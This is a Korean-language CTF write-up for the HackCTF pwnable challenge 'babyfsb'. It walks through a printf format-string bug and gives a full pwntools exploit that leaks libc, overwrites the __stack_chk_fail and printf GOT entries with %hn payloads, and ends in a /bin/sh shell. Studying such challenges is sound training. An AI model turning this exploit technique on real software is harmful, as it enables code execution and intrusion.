tmxklab
[HackCTF/Pwnable] babyfsb 본문
1. 문제
nc ctf.j0n9hyun.xyz 3032
1) mitigation 확인
2) 문제 확인
3) 코드 흐름 확인
3-1) main()
int __cdecl main(int argc, const char **argv, const char **envp)
{
char buf; // [rsp+0h] [rbp-40h]
unsigned __int64 v5; // [rsp+38h] [rbp-8h]
v5 = __readfsqword(0x28u);
setvbuf(_bss_start, 0LL, 2, 0LL);
puts("hello");
read(0, &buf, 0x40uLL);
printf(&buf);
return 0;
}
- buf에 0x40만큼 입력을 받을 수 있음
- printf(&buf)에서 fsb 취약점 발생
2. 접근방법
1) 주소 leak
- 스택에 __libc_start_main+240의 주소 값 확인
- 15번쨰에 __libc_start_main+240주소 leak가능
- 해당 주소를 통해 libc base주소를 구하면됨
위 과정을 통해 libc base 주소를 구할 수는 있지만 printf문 한 번실행하고 끝나므로 다음 과정을 진행하지 못한다.
해당 문제는 카나리가 걸려있어 함수 에필로그가 끝나기전에 카나리 값이 변경되었는지 검사하며 카나리 값이 변경되면 __stack_chk_fail함수를 호출한다.
따라서, 해당 함수를 이용하여 다시 메인 함수로 돌아가게 만든다.
- __stack_chk_fail함수도 got 존재
2) __stack_chk_fail got overwrite
- __stack_chk_fail@got값은 0x400556이고 main함수 주소는 0x4006a6이다.
- 하위 2bytes만 덮어쓰면 될 듯하다.
- got값이 변경되었고 0x40bytes 꽉 채워서 받으면 카나리 값도 변경된다.
- 따라서, 해당 함수를 호출할 수 있게 되고 다시 메인함수로 돌아간다.
공격 프로세스)
- __libc_start_main+240주소 값을 릭하고 __stack_chk_fail@got값을 main함수로 바꾸고 40byte꽉 채워서 보낸다.
- libc base주소를 알아내어 printf@got값을 system함수로 변경하고 다시 40byte꽉 채워서 보낸다.
- buf에 "/bin/sh"문자열을 넣는다.
3. 풀이
1) 익스 코드
from pwn import *
#context.log_level = "debug"
#p = process("./babyfsb")
p = remote("ctf.j0n9hyun.xyz", 3032)
e = ELF("./babyfsb")
libc = ELF("/home/cmc/Desktop/lib_hack/babyfsb/libc.so.6")
#gdb.attach(p, """b*0x400707""")
main_addr = e.symbols['main']
stackfail_got = e.got['__stack_chk_fail']
printf_got = e.got['printf']
start_main_offset = libc.symbols['__libc_start_main']
system_offset = libc.symbols['system']
main_low = main_addr & 0xffff
log.info("main addr : "+hex(main_addr))
log.info("__stack_chk_fail got : "+hex(stackfail_got))
log.info("__libc_start_main offset : "+hex(start_main_offset))
# 1. Input __stack_chk_fail@got -> main_addr
# libc_start_main+240 leak
payload = "%" + str(main_low) + "c"
payload += "%8$hn"
payload += "%15$p"
payload += p64(stackfail_got)
payload += "A"*(0x40 - len(payload))
p.sendafter("\n", payload)
p.recvuntil("0x")
start_main = int(p.recv(12), 16)
start_main -= 240
libc_base = start_main - start_main_offset
system_addr = libc_base + system_offset
system_low = system_addr & 0xffff
system_mid = (system_addr >> 16) & 0xffff
system_high = (system_addr >> 32) & 0xffff
log.info("strat_main : "+hex(start_main))
log.info("libc base : "+hex(libc_base))
log.info("system_addr : "+hex(system_addr))
log.info("system_low : "+hex(system_low))
log.info("system_mid : "+hex(system_mid))
log.info("system_high : "+hex(system_high))
if system_mid > system_low:
system_mid = system_mid - system_low
else:
system_mid = 0x10000 + system_mid - system_low
if system_high > (system_mid + system_low):
system_high = system_high - (system_mid + system_low)
else:
system_high = 0x10000 + system_high - system_mid - system_low
log.info("system_low : "+hex(system_low))
log.info("system_mid : "+hex(system_mid))
log.info("system_high : "+hex(system_high))
payload = "%" + str(system_low) + "c"
payload += "%11$hn"
payload += "%" + str(system_mid) + "c"
payload += "%12$hn"
payload += "%" + str(system_high) + "c"
payload += "%13$hn"
payload += "A"*(8 - len(payload)%8)
payload += p64(printf_got)
payload += p64(printf_got+2)
payload += p64(printf_got+4)
payload += "A"*(0x40-len(payload))
p.sendafter("\n", payload)
p.sendafter("\n", "/bin/sh\x00")
p.interactive()
2) 실행결과
그냥 got에 원샷 가젯을 넣어도 된다.
'War Game > HackCTF' 카테고리의 다른 글
[HackCTF/Pwnable] Unexploitable #3 (0) | 2020.08.15 |
---|---|
[HackCTF/Pwnable] ChildHeap (0) | 2020.08.15 |
[HackCTF/Pwnable] j0n9hyun's secret (0) | 2020.08.15 |
[HackCTF/Pwnable] babyheap (0) | 2020.08.15 |
[HackCTF/Pwnable] Unexploitable #2 (0) | 2020.08.15 |
Comments